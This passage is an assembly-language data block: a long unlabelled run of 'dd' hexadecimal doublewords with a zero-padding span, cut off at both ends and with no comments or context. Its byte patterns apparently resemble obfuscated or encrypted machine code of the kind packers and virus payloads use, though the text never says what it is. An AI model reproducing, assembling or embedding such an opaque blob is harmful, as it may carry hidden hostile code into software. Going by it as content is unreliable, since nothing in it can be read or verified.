0F8h, 38F0Fh, 8B660000h dd 2447C7D3h, 60000020h, 61B53160h, 61064E12h, 5E6CBD83h dd 0F000655h, 1AA84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0A09A9B94h, 0F6BF0F1Ah dd 5028C783h, 0B119523h, 0C75E064Eh, 696A2E07h, 0F2BF0F64h dd 610447C7h, 6A006174h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0FBDC353h, 8D89D1B7h dd 64E14B1h, 5E74858Bh, 6A0655h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 194587C3h, 14E9EEh, 0B720000h dd 0A75965A0h, 0A95D15B5h, 62259A8Eh, 3DDE33AFh, 958B0B77h dd 64E2B1Dh, 6A0C4789h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 136BC352h, 0AD00916Eh dd 0BE0BB745h, 35209146h, 2A85B589h, 858B064Eh, 6555E78h dd 2EDBD681h, 0BE661A94h, 478965C2h, 59BD8908h, 83064E05h dd 6A28C7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 24FC71C3h, 0F40B714h, 2088h, 14E800h, 59810000h dd 5BF3E5BBh, 4328B0C2h, 4F69D768h, 0B9DB2197h, 0BD89612Ah dd 64E100Dh, 2E07C75Eh, 0E96E6F63h, 14h, 54D520BDh, 41CF2579h dd 1207C290h, 75E4E908h, 0F517DA4Bh, 447C7F8h, 676966h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BFC35747h dd 0FEBCBC9Ah, 5E70858Bh, 0B20655h, 0F0C4789h, 288h, 8BF08A00h dd 555E6C85h, 4789FC06h, 4870F08h, 66000000h, 58487EBAh dd 228D9D29h, 8D8D064Eh, 64E29B1h, 0EE9h, 69946C00h, 3A747FEh dd 74702F00h, 50854999h, 0DE850h, 7EB10000h, 100D2B09h dd 5129596Fh, 0E9B31920h, 14h, 0C23E7019h, 0A704AAF5h dd 7B9570F6h, 45C86428h, 3C9C6EA4h, 0C895A5Eh, 0C6816624h dd 0B5FF3FE4h, 64E1409h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 27C35545h, 1164CF02h, 0E8ADB60Ch, 4 dd 1000h, 0E0BE6660h, 0B4BA666Dh, 8B506194h, 8B042444h dd 4BBE6600h, 244489DCh, 0C76DBA04h, 0BA5811C0h, 50F5C1F5h dd 103DB5FFh, 0D0FF064Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 50C35141h, 8B766E5Eh, 0D5858955h, 8B064E25h dd 4E2C6595h, 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0E14DF3C3h, 95295624h dd 64E0599h, 0FC00B5Eh, 3884h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 66E9ED14h dd 66F2EA81h, 13BDB5FFh, 8589064Eh, 64E21F9h, 0F9995FFh dd 0BF0F064Eh, 66C08BD1h, 8529D38Bh, 64E0B45h, 2D45BD83h dd 7500064Eh, 0E1BD8309h, 64E19h, 53501974h, 2DB8C08Bh dd 89000004h dd 4E300185h, 0A89D8D06h, 0FF0650B9h, 83585BD3h, 4E19E1BDh dd 17740006h, 2DB85350h, 89000004h, 4E300185h, 499D8D06h dd 0FF0650B6h, 0F585BD3h, 680h, 2DBD8900h, 8B064E31h, 4E037995h dd 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0CF5FC356h, 7840Fh, 66510000h dd 952BC681h, 0EBC08B5Eh, 0DE845404h, 5C0E974h, 0E6710000h dd 0F67B69E6h, 0C38B79F6h, 0D29E8C09h, 0A6AF9D1Ah, 0CB58A926h dd 61DE1E67h, 70EDEF73h, 7CF9F382h, 8906C68Eh, 6413E9B0h dd 0B2B7D1D0h, 0B6A44CD7h, 78D2FADh, 4F88876h, 0A6AD9B62h dd 0B238B4BEh, 0BF98A10h, 4C38A42h, 93326F0Ah, 0AAB4A224h dd 3624A132h, 1E0CAE2Eh, 10CF9656h, 261518C3h, 32D465D5h dd 7C88AC6Bh, 5FA6D660h, 5993E0CEh, 44B8C9B7h, 2FADB4A2h dd 4553E8Dh, 0BA0BF4C8h, 118E4E16h, 23A05C23h, 0CAE2E35h dd 0F698541Eh, 0BFC3B178h, 72C3AC3Dh, 1F582EF5h, 0EFBE2656h dd 9BEAD869h, 0A2AC9A61h, 1402882Ah, 66EC8E4Eh, 1A6A58D5h dd 0A6A40E2h, 0BDBE2656h, 5F6683D4h, 9E577D43h, 94B329DFh dd 6D5514C8h, 472FC016h, 85h, 0D2E1C180h, 0DF544C1Bh, 0F77DC34Eh dd 0FC58A4BCh, 0EFC2569h, 60028844h, 2AA2AB99h, 14C89A88h dd 5227FD8Eh, 7DBE2727h, 0D8C64394h, 3E390F8Ch, 0D0BE2727h dd 9C22C44Ah, 1521A40Bh, 0EEDC577Eh, 0F3DB6C60h, 1, 0B8E5A468h dd 19584230h, 680945A4h, 2FCB04A9h, 29A3B09Eh, 14C89987h dd 46ECAB72h, 0B7C09694h, 57BE263Ah, 0F67912D1h, 0C38D7B0Ch dd 0AA936709h, 30ACB559h, 0D5BFC5B3h, 4AC74D8Fh, 0FCF07DBFh dd 0E5E76C5Ah, 0D3095543h, 0E3946A31h, 33BE2736h, 35B7BFADh dd 0D4250E93h, 0F604998h, 6DEAE26Bh, 34FBF17Fh, 85DD5E75h dd 0B04100FCh, 4B2C0296h, 0CBBE2646h, 8C2EBF45h, 7A1CD09Eh dd 0D451A28Bh, 0EDEFE715h, 0FCD2A880h, 0BE26567Bh, 0FE8F159Bh dd 7D5B7E97h, 0A7C057h, 0A4350000h, 4432AAB6h, 4533C438h dd 3EFDC438h, 529D1E47h, 0AE50E168h, 87CEB6C0h, 74492E04h dd 47CDBE26h, 86743BC1h, 1BD19BF9h, 0CB6DF379h, 2412B445h dd 1402A458h, 6AEF914Bh, 0DEBB3081h, 0DBB81885h, 0B69F73F9h dd 38B4C165h, 0B80CDBBh, 0C59B511Dh, 0BE2681B2h, 61F0DE64h dd 0BD43C96Bh, 33412FF6h, 0BB9117B9h, 0BE2681BCh, 0A143D45Ah dd 9133A9B3h, 3E14DBA2h, 0BE268139h, 0DDC657DDh, 86A66F8Ch dd 0CBB9577Dh, 0CFB74884h, 48h, 0FCF07D44h, 0E7E56C5Ah dd 86D7C045h, 401695E2h, 0BE273637h, 4ECB51D7h, 0F8F47DC3h dd 0D2A18F56h, 367403D9h, 1CA2BE27h, 0DD6EF496h, 27366D07h dd 22735CBEh, 7E23C005h, 0A1E57h, 98570000h, 8B837A79h dd 28D1E71h, 0CE93F17Dh, 60E66C0Eh, 4C80D0BEh, 0F2432CAAh dd 5CC004Eh, 0F1934917h, 0F5F77D6Bh, 0BF3CCD53h, 0F4BB1547h dd 0B87F7D06h, 273695E2h, 62F379BEh, 0C1BBC59Bh, 844BB474h dd 3B4981C5h, 0B88E749Bh, 0B7D89EBFh, 0D715614Fh, 9829AF35h dd 1D0BAD33h, 2A189557h, 0AF2D3A5Ah, 5F01870Dh, 0D89EF089h dd 743B02B7h, 0D89ED99Eh, 2EAEB4B7h, 1BA1068Ch, 0AC50A18Ah dd 2563EFA4h, 0DB8158B5h, 9AEAD855h, 82D2C062h, 0D35993E2h dd 0A8F9E231h, 7C373D2Bh, 9CE5D68Bh, 67098FCFh, 126250E1h dd 0E98393A1h, 0AB314F02h, 4DA8672Eh, 7C700057h, 974245BDh dd 0D88CB6C1h, 4CD258B7h, 797154BBh, 6C6B512Fh, 0E0000001h dd 0A06741F3h, 74D87ACAh, 4CEE74B4h, 59D6165Eh, 45E7E56Bh dd 31D30957h, 7E541BE2h, 0B7D924F9h, 0AB10CC94h, 0B3293725h dd 6BE83922h, 24A9CEA4h, 7F6DB7D9h, 0D359FBF1h, 86CEBC4Dh dd 61ED97DEh, 0BD43C96Bh, 920F951Bh, 30119A2Bh, 724451h dd 0A4B90000h, 218EDBE5h, 0F8B7AF6Ch, 3C16F8C6h, 70E879FDh dd 5A21E8C0h, 57E8E46Ch, 26EFE681h, 938148BEh, 0E86E10CCh dd 26EF6512h, 0CE2A9BEh, 0BE26EF6Bh, 199F25ABh, 0EFD6A177h dd 9F2BE26h, 2DA8AB8h, 41617C3Bh, 0F141C69Bh, 43C96B61h dd 4686CFBDh, 4F18EEB5h, 9DBE268Ch, 8527A5AFh, 83096EFFh dd 4803F06h, 466E3473h, 0A899EE7Fh, 0E000000h, 7007DDA4h dd 9EBE2736h, 6D0F8718h, 0FAFDBC83h, 7A720149h, 0C96D56BBh dd 399B7138h, 75B47490h, 5CFEFE87h, 5AE045D6h, 42BACAB8h dd 0CEC58D7Bh, 724BAD0h, 2A42AB0h, 806EEB7Ch, 4735FCF0h dd 5493883Bh, 7DC1AEE5h, 0EEC466F7h, 0B7D86288h, 0CE706CF9h dd 0B75993E0h, 0BCF84932h, 59FD4E37h, 0DC54D10Bh, 0B38950B8h dd 0AE2EB91Fh, 38B4BBA9h, 0E88A1096h, 3ED66221h, 0EFB4D626h dd 41C76963h, 0CA1BFCBBh, 85C28655h, 7E7E06F4h, 0D0975EDCh dd 0C0A7DFAh, 7A0B91BEh, 6E124091h, 0E9E9BF86h, 9BB4625Fh dd 0F30D9815h, 0CAA06741h, 0B47D8C08h, 0A49234BAh, 0B5A320DCh dd 78662DAFh, 0CC52F4E8h, 1C3993Bh, 80055DA8h, 0D2A24697h dd 0A1AF9D1Ah, 0D19B892Bh, 8F31ABB3h, 0F3FA4A09h, 14BC21C2h dd 856EEC8Eh, 0C9F8B734h, 56401316h, 0C5442D3h, 9E8C53D0h dd 0EE7416D6h, 0EBE16F5Dh, 3F449h, 1F690000h, 0FAF27D94h dd 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h, 87451200h dd 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 8957129Eh, 4BD55E7h dd 1000000h, 0EF835DEFh, 243C8704h, 4597685Ch, 1C890000h dd 0E0895024h, 405h, 4E88300h, 5C240487h, 83240C89h, 0C8904ECh dd 2121B924h, 15BB14AEh, 291B0388h, 8B5459CBh, 0C483240Ch dd 258F6804h, 1C890000h, 24348124h, 67CB61B5h, 8108418Fh dd 61B50871h, 34FF67CBh, 0C4835924h, 2434FF04h, 4C4815Bh dd 0E9000000h, 0FFF912E5h, 56F844DCh, 8F6D35F1h, 34B8E1E0h dd 306556Ch, 0F8E0FFC5h, 0C90DDA98h, 873DF4E8h, 91291973h dd 7F4774FFh, 9A434333h, 0FC0FE7CCh, 8720173Bh, 0AA5E2B2Ah dd 0FE3D10C4h, 0E87EE409h, 9, 17184A0Ah, 497BC23h, 28C0F32h dd 8A000000h, 0BF6659DDh, 0C181E890h, 616Bh, 7B75BEF8h dd 0F6814AA5h, 4AA56368h, 13E9h, 7FA6BF00h, 6ED57299h dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 5AF531FFh, 0EA81FA8Bh dd 13D55534h, 10E9h, 8B05C100h, 0F0065832h, 7207F37h, 4BC35280h dd 0AEF28178h, 0E845ADFBh, 8, 3FB57158h, 9C5DC6B9h, 7E9h dd 0AC128300h, 27D7E63Eh, 0BEA8158h, 0B44B8B88h, 66118988h dd 1234DF81h, 0B1E8E981h, 50BF51BDh, 810889ACh, 0BDB1E4C1h dd 1FEB8151h, 835FFE12h, 850F01EEh, 38h, 0FE856h, 5D500000h dd 2F9B27B6h, 27693FE5h, 3DF44354h, 0BE905h, 73ED0000h dd 0E2CC798Dh, 6847699Fh, 0E95B5FEBh, 1Fh, 0FF728BC5h dd 0D6CE0582h, 77AC21CEh, 53EB8166h, 0FF4EE925h, 6858FFFFh dd 334C0292h, 8D8EFBE5h, 556EBB8Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 6C661343h dd 3599D09h, 9D31064Eh, 64E2FEDh, 2B058D89h, 6A064Eh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0D7852AC3h, 9C28637Ch, 6585C7D6h, 0A4064E2Bh, 0F000058h dd 87h, 5D85C700h, 64E06h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 89BAC356h dd 4E257585h dd 29B5FF06h, 6A064E1Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0A325C355h, 89532FF8h dd 4E16B19Dh, 95FF5E06h, 64E0F99h, 210D858Bh, 6A064Eh dd 1A5995FFh, 0C08B064Eh, 4ADC58EBh, 0A675415Ah, 0FFD74EB5h dd 5000BE51h, 67039C63h, 0EBE563A7h, 597542B4h, 0F04BBB97h dd 0F22727C2h, 5FC0D932h, 1A25C20Eh, 46C578DBh, 44956B22h dd 0BA09DFD3h, 94AF4DA9h, 2DF557E2h, 61939EF6h, 0FF883E0h dd 0AFFC8294h, 9CA8316Dh, 5DA64D56h, 0B2A909BCh, 4EB776Ch dd 42278B58h, 5ECE9h, 17D5A000h, 25A7AC9Ah, 30ACBAA8h dd 41BBC5B3h, 5389D6C4h, 949E85D6h, 0A69411CBh, 0B5A320DCh dd 0C3B12EAEh, 0E9C23FBDh, 0C72B4C22h, 10EBB7D1h, 82E5A485h dd 0EE3B781Ah, 293725B6h, 75FEECB3h, 7D44E677h, 7607C58Fh dd 36FDFF88h, 85A3A48h, 40BD4ED4h, 28CA0252h, 9B712A3Ah dd 0BE26E6DCh, 672EB43Ah, 9B9261A8h, 3D2B80F8h, 8426B735h dd 6D0FCD96h, 0BB5FB099h, 827037B5h, 0EE6BFCF0h, 0FE7B7100h dd 0C7AC7837h, 62CECFECh, 609CE3D1h, 4A82D0BEh, 9C632AA8h dd 892BA1AEh, 164A2D03h, 0DECCBE27h, 32B85A92h, 0E1321BACh dd 39B6363Dh, 25C7054Bh, 2716254Fh, 6ABBA4BEh, 7E03784Dh dd 626657h, 7DDB0000h, 7D53F5F7h, 0BE2736FCh, 7895E6CFh dd 577E244Dh, 18Fh, 0F47D0400h, 1B6856F8h, 36ADCAA0h, 8CD8BE27h dd 0DF65EB50h, 0C7054F3Dh, 0EAB64100h, 0AC4E8ED5h, 67BA6726h dd 6E42E475h, 30ACB9A7h, 0C165B69Fh, 0F8BF3CB0h, 0C13B4331h dd 0B4C3991Fh, 62BE270Dh, 175D4BDCh, 57200ED5h, 0FC870495h dd 35FCF07Dh, 92854A76h, 32CA27B2h, 9804C3CBh, 0E68819C6h dd 0AA716BF8h, 9A3CB0BCh, 92E18314h, 8EEB0CCBh, 5628D705h dd 0E78BDCC5h, 0F3E15E9Eh, 8379076Dh, 0A37736FDh, 65C8F542h dd 2A18BA4Bh, 0FFEA05Ch, 5DB8D526h, 0DF577DACh, 66h, 0FCF07D54h dd 863D4735h, 1D23EFD9h, 680A90C4h, 0C1AF51E2h, 0C19537B5h dd 9AE387D8h, 6EF7E562h, 1705CC6Eh, 10FE8F4Dh, 0F7E68844h dd 75A0BD0Eh, 0A7577DADh, 45h, 0FCF07D1Ch, 0B0F27635h dd 0F99B511Bh, 6302B473h, 0F2E08213h, 42C76963h, 0C7C48D7Bh dd 268D86F1h, 7C0288BEh, 0DAC354DAh, 6498E589h, 0F47D5CE7h dd 0F48056F8h, 0D3BE2736h, 497C99EAh, 93577E24h, 1, 0FBF17D08h dd 0C23A4634h, 0A9233220h, 2F09223h, 5AD87A72h, 0F27C2071h dd 836CFAB9h, 0D47041B0h, 273679FEh, 91179DBEh, 10F89C14h dd 0C20D7349h, 0DFBB474h, 60E68844h, 8D4C13DAh, 8E71935Bh dd 383F1536h, 7CB7D8DDh, 0F389A52Fh, 971D825Eh, 6C4E6CD8h dd 9829D498h, 847808F6h, 914B1907h, 5894DCCAh, 0FD9F30B6h dd 0BD3F4836h, 0F723562Ch, 1966B7D8h, 28241E3h, 2EF13ABCh dd 5B481604h, 7F58989Eh, 6A0C92F1h, 4985D6BFh, 0E68ADBC4h dd 0F3E15E9Eh, 0DFCD6F6Dh, 0CD945B91h, 0D89B80F7h, 21562CB7h dd 0F5B7D89Bh, 0BA4B0A6Fh, 0FFF214E7h, 8A2CBD43h, 5D01523Bh dd 0B9BE9417h, 5DB7D925h, 0E2358A9Eh, 0C1475EDEh, 0D2329A02h dd 7A006F35h, 4F2F96FDh, 7CE512Fh, 0D85D4631h, 0B142C8B7h dd 188C9h, 41F33E00h, 7ACAA067h, 74B474D8h, 97854CEEh dd 0EA7012CAh, 3C02622Bh, 0F384B471h, 4B157F05h, 0A25A29h dd 0F16EF47Ah, 0DD7F7D03h, 0A05C2816h, 0F9E778FEh, 0EBAA716Bh dd 0C398763Eh, 0B1874E80h, 0B7D863C6h, 8F31C248h, 62065740h dd 0F65DDA12h, 512F50CFh, 4E0Dh, 4DF38200h, 99CEA46Bh dd 3DBE2736h, 0F94DC37Eh, 512711EDh, 0BE26BA26h, 56DC62E8h dd 5100D08Fh, 2982E8D8h, 5720F698h, 2EBE264Dh, 1A08AA22h dd 9FEE904Ch, 0B4C165B6h, 1E07B238h, 17F19FCDh, 4DED7A50h dd 0DB61BE26h, 0E3095Eh, 0A47E0000h, 9C2DAFB6h, 23307024h dd 0C28107A9h, 7012C0DAh, 682FB595h, 74284292h, 0F27C6AB4h dd 13D258FAh, 0E6444C2Ah, 51B64775h, 0A36229CBh, 0E362E518h dd 0D3C152EAh, 0E4D24F8Dh, 7468F89Ch, 2CA0D7ADh, 0E86EB7D9h dd 0BADC9B62h, 45023261h, 90BB4CDAh, 0DA60CED5h, 87006D1Bh dd 8F204A95h, 905F17EDh, 5039B7D8h, 0E5BB82FFh, 0B7D89192h dd 0DCF9684h, 2C16C887h, 37B0F6E6h, 34A8B8A6h, 4B1D3FB7h dd 7C43C903h, 43B9C7B5h, 0F0C5DCB2h, 480FAE2Eh, 0B3B0572h dd 958309BEh, 1D8213C9h, 602B8C5Eh, 39BFC476h, 6F11D097h dd 0C8044EBFh, 0ACE1A026h, 0F8E67766h, 0BFAD7468h, 9C7239B3h dd 0BE0C08DBh, 8224B53Bh, 9CCA1B04h, 734910F8h, 0B462562Eh dd 4CB9218h, 0BA904C16h, 0B7D8F5BDh, 0BD3ACB51h, 2641F332h dd 27362750h, 0DB61E7BEh, 83633E14h, 0A66DB47Dh, 0D1C7A7D0h dd 5B91DEB7h, 48CE33B9h, 2ACC52B7h, 0F0EC7563h, 2B01C84Eh dd 0B7D1C74Ch, 0C5B344CAh, 0F9C03DBFh, 0F98A420Bh, 551F450Bh dd 21DBA997h, 370DD49Bh, 0B7D1C740h, 463107CEh, 0C8B7D1C7h dd 1FF5BC42h, 0B7D1C758h, 0FD9F30B6h, 2C48C27h, 0D92A1374h dd 0E5E76E5Ch, 761E6654h, 0A269EFEDh, 8F31ABB4h, 0DFB7809h dd 1CE38547h, 1615DC5Dh, 7F6DF967h, 694F0E87h, 3D2BBC36h dd 9917B933h, 0B5BB5FB0h, 822532FEh, 0FFC7CBACh, 6C54B7Bh dd 0FD83ABF2h, 1CF2B980h, 7BFF6E5Bh, 986E35BBh, 7BFF6EDFh dd 2A18A92Fh, 0AB00A25Ah, 3, 7D941F20h, 6A58FAF2h, 5240E21Ah dd 3927C903h, 2311B329h, 1200A25Ah, 0F7E58745h, 0DFCD6F6Dh dd 0C5B35597h, 129E40BCh, 8904EC83h, 0E589242Ch, 4C581h dd 0ED830000h, 242C8704h, 2666685Ch, 3C890000h, 74636824h dd 0C890000h, 97685624h, 5E7D6A59h, 0E681D6F7h, 29B34B1Fh dd 3609CE81h, 0EE81769Fh, 7049C6E6h, 89F58955h, 685E5DEFh dd 8A0h, 81242489h, 42404h, 68590000h, 6834h, 81243C89h dd 7931242Ch, 418F0756h, 8418108h, 7567931h, 56240C8Bh dd 0C681E689h, 4, 8704C683h, 0FF5C2434h, 815F2434h, 4C4h dd 0A8FE900h, 0F8ACFFF9h, 0BC5EEEh, 840B76EEh, 0EB544F90h dd 746EB865h, 0C5030655h, 0E478E0FFh, 1ABB59EEh, 800A3DCFh dd 0C0D728DEh, 451B2ACAh, 23891074h, 0AC9817E7h, 3F3E702Ch dd 89BA136Dh, 1F387478h, 52B30470h, 0B5C73E2Fh, 1E3060F1h dd 7CB541C6h, 90A855F0h, 51606AFDh, 0E8B12C12h, 1AB67020h dd 0F8634D86h, 68EA35C3h, 0EB94009h, 3FFB3097h, 68222CFDh dd 0D18E4690h, 7E5D75DEh, 64541AD8h, 94213127h, 867A6FC5h dd 5D3A5F10h, 0E94E48B9h, 2D4E6EF2h, 791A2B5Ah, 13E81601h dd 83000000h, 4694733Eh, 2B0B9B13h, 0C2CEB977h, 54B8A365h dd 0BF0F3DD2h, 0BF665BC0h, 0C381A1D9h, 7462h, 8A0FC933h dd 2, 348B29B6h, 0F681F50Bh, 4889B29Bh, 7C56EE81h, 13E9008Dh dd 0E8000000h, 5598460Bh, 90B89FABh, 425B7393h, 0CADEB662h dd 0EE8156A2h, 531D7902h, 0FE956h, 0FB20000h, 0F27E78CEh dd 18CF8663h, 5D74E462h, 0B048FB2h, 0BF66E38Ah, 0E98376EEh dd 0FA8B6603h, 0EA816649h, 0F9817089h, 0FFFF8C2Ch, 0FF9C850Fh dd 8B66FFFFh, 0F38D8DC1h, 89065576h, 4E07ED95h, 2D952906h dd 89064E29h, 4E2B058Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 18BA9E7Fh, 8C91A267h dd 2B6585C7h, 7030064Eh, 9E90000h, 0E4000000h dd 0D2C4C406h, 0E7CF1BCDh, 65D85C7h, 64Eh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 89829BC3h, 19D1B5FFh, 0B589064Eh, 64E1561h, 0F9995FFh dd 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0F24723C3h, 5FDE0512h, 9D89E8B4h, 64E182Dh dd 0EF5B509h, 6A064Eh, 1A5995FFh, 0C08B064Eh, 0E86A5BEBh dd 8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 0B7D2562Bh, 9AFC5F3Eh dd 1C6B0B5Bh, 0BFB15B98h, 0A71D6213h, 587E1EB9h, 6C004A02h dd 626A8BDDh, 128FAF0Eh, 89E71EC0h, 1F4286ECh, 0F0A010B8h dd 14257CC1h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h, 21C5254Fh dd 6B14A879h, 0D9DAED97h, 0C08BD8h, 16Ah dup(0) dd 0FF80000h, 168Dh, 11E900h, 6BEC0000h, 0FEF23BEFh, 0D08AB59Ah dd 2CAF95FCh, 608356FAh, 0E3C78157h, 5B29381Ch, 9D61DF8Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E4C35646h dd 32B6EE40h, 0D6419D55h, 11860Fh, 66600000h, 7E9D38Bh dd 61000000h, 0F44F30E1h, 6161B7A9h, 18A0Fh, 5DFC0000h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2FC35545h dd 0F9C64CC7h, 244401F9h, 53006A08h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0D883D89h dd 0E958FC7Fh, 5, 3E312BBDh, 56F96011h, 8F0Fh, 615F0000h dd 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0D35F3BC3h, 1CD0EAC8h, 10E9DECFh, 24000000h dd 32428B75h, 950A4189h, 0C24894CDh, 6A935E0Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F16C351h, 1B8Dh, 158B0F00h, 0E9000000h, 10h, 0FB66681Ch dd 0D787DFB1h, 936610CEh, 127E98C9h, 14E9C08Bh, 0BF000000h dd 60F9A6E1h, 1E565F98h, 8A12C9BDh, 75FF9BD7h, 667D4C74h dd 6649D4B9h, 35CAF181h, 894428BAh, 12E812h, 731A0000h dd 45B1E130h, 39814F83h, 0F6C3CFB7h, 0D874A1A4h, 3CD5B951h dd 59595A3Bh, 0AA2BB66h, 0AF45BF66h, 0F5E28166h, 0EE816602h dd 0BF0FAB28h, 0DA8B66CEh, 5E857h, 70110000h, 0FB55AA6h dd 8Bh, 665A5E00h, 80D692BAh, 8B6655CBh, 0E9D08BCEh, 0Dh dd 4407D4C1h, 23F7845h, 253057F7h, 5035B240h, 3A91B866h dd 0F9BE6058h, 513AEEF6h, 0DED98166h, 66615FEFh, 0D4A0C681h dd 5E960FCh, 0B2000000h, 62A14A4Dh, 816176B3h, 0CC4A67E8h dd 0DE8B6664h, 347EBA66h, 0DE8h, 78C43A00h, 52E0CAE4h dd 0AB9F54E3h, 850F1699h, 4, 0D7BDBB66h, 0C781665Eh, 8E96768h dd 0AA000000h, 0E1995C92h, 60EDF2B8h, 0D281ABB6h, 69046A8Fh dd 8E961h, 7D6D0000h, 0C2EE143Dh, 0BE669645h, 0CE9467Bh dd 0EE000000h, 0C300C7C3h, 775B2631h, 56D1F9E9h, 815AD18Ah dd 0C05277C9h, 0D0CB8137h, 0F339C58h, 8F0FD8B7h, 0Ah, 5E9h dd 0A01F000h, 0CA80A555h, 0C6816690h, 0B70F04B0h, 5E9D3h dd 99510000h, 0BEAB704Ch, 586F2182h, 5F28BE66h, 0E524FDBEh dd 0B710B17Fh, 5E975h, 18EA0000h, 606BE4B7h, 12E8E88Ah dd 4F000000h, 0EDD77C8Bh, 0DA3D931Ah, 4D1D4049h, 0E757545Bh dd 820F78h, 5F000000h, 6860F61h, 81000000h, 70B0DACFh dd 0F7B70F6Ah, 0CE8h, 53A88E00h, 551492D2h, 2329AB0Fh dd 800F60EEh, 0 dd 61C7B70Fh, 36DB805Fh, 0CA8B6653h, 0FC68B59h, 0B70FD0B7h dd 5E9C8h, 16720000h, 662D65ECh, 0CFDAEE81h, 0FCF452BBh dd 0B2C2815Bh, 0BA4DC9B3h, 588FF175h, 66C38B66h, 0DA8BF78Bh dd 3840FFCh, 66000000h, 0EA81CA8Bh, 7CAB6F24h, 52DBB70Fh dd 11E8h, 9FE34B00h, 0FFFA6720h, 28ACE45Ah, 6F8B00BFh dd 0B70F0DEAh, 605F58DFh, 3880Fh, 0EE800000h, 0BE66613Bh dd 0BF66D8EFh, 8B66B379h, 820FFEh, 66000000h, 0FD34BBBh dd 8B66D9B7h, 18810FF0h, 0E8000000h, 0Eh, 78477916h, 0EA02B811h dd 9CB89B42h, 0BE666B46h, 8A596AD1h, 0CF8166D7h, 0BB56FC64h dd 4AE1ABC5h, 0F7C8815Ah, 0E909A643h, 0Ah, 0AF45552Ah dd 0FF60B6DCh, 0FE9C9A0h, 0CC000000h, 0FA74375h, 0C85916Dh dd 9DFE7F95h, 870FC9BCh, 5, 0FDD78053h, 8F0F5Eh, 0F000000h dd 0FFB8D6B7h, 6044E5A8h, 850FD08Bh, 3, 61C7B70Fh, 3950C281h dd 0EE93A0Eh, 0F3000000h, 0F17773EFh, 126F0364h, 0CDCE0AE0h dd 11E9523Fh, 58000000h, 0C891E620h, 7438F5E8h, 0F82DCF41h dd 0B9C6DD09h, 0E850F5Eh, 0E9000000h, 9, 5D23C6A7h, 15614E17h dd 0E4E7B8A1h, 8B667F93h, 8F0FF9C7h, 0 dd 0F6B70F60h, 667047B8h, 8E86121h, 0E9000000h, 0C5B6FB6Dh dd 8105B4B4h, 9CC67C3h, 9E85E1Fh, 63000000h, 1DBAE510h dd 0F543E30Fh, 38B0Fh, 8B660000h, 24B85FD3h, 66176B09h dd 0F89F5BFh, 38Bh, 0DEBF0F00h, 0ADC8053h, 14E95Fh, 4AAD0000h dd 0CE00DC01h, 79AF682Bh, 0CA00F8BEh, 25FA454h, 0EEB923D7h dd 0E86FB733h, 0Dh, 0C7421E35h, 0FE49B0A9h, 0DC50D327h dd 60E48001h, 2800F5Bh, 8B000000h, 0F0B70FD0h, 0F0B960F9h dd 6021F407h, 10E9h, 0A9FAE100h, 5FFAC78Dh, 0DA344498h dd 8DC89CBAh, 0FABF0FF0h, 66606161h, 0F861C78Bh, 0AE9h dd 99957E00h, 64315148h, 6623C443h, 5A84F781h, 8498F081h dd 850F20AAh, 1, 0FF98AFCh, 387h, 0F2BF0F00h, 1C860Fh dd 81600000h, 0E1665E6h, 0EE822h, 61010000h, 0D5397F06h dd 965C41E3h, 9F875774h, 81666159h, 567CFBD6h, 11E8h, 24438400h dd 8684E1ADh, 6C1E77AAh, 18154EE3h, 11E839C8h, 0FE000000h dd 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h, 60595E59h dd 9E9h, 1BDE6900h, 4F431D26h, 61F81041h, 0FF28B66h, 1889h dd 0CE96000h, 18000000h, 0E6F4160Ah, 8D308F3Dh, 66257168h dd 459FD881h, 0BE961h, 0D62E0000h, 0AF936CEEh, 54B2A13Ah dd 840FACh, 0F9000000h, 8E9h, 0FE41F500h, 86D014EFh, 8BCCB66Eh dd 9F27BFF1h, 8B66167Bh, 1C8FB9CEh, 8D0F202Dh, 0Fh, 0AE9h dd 5D7AC200h, 0B0400628h, 8AE31806h, 0CE8E1h, 43D00000h dd 69540510h, 8E9BE8BEh, 8A515434h, 0F5E5ADAh, 89h, 60F28B00h dd 0CBE98166h, 0C3BF0F06h, 47BB6661h, 0DE8F9D9h, 44000000h dd 0BD26BB84h, 4F974D01h, 0B01D15F5h, 24B5CF81h, 815B2967h dd 686C30D3h, 0FFBF0F07h, 66FE8B66h, 11E8CE8Bh, 0B2000000h dd 871B05D1h, 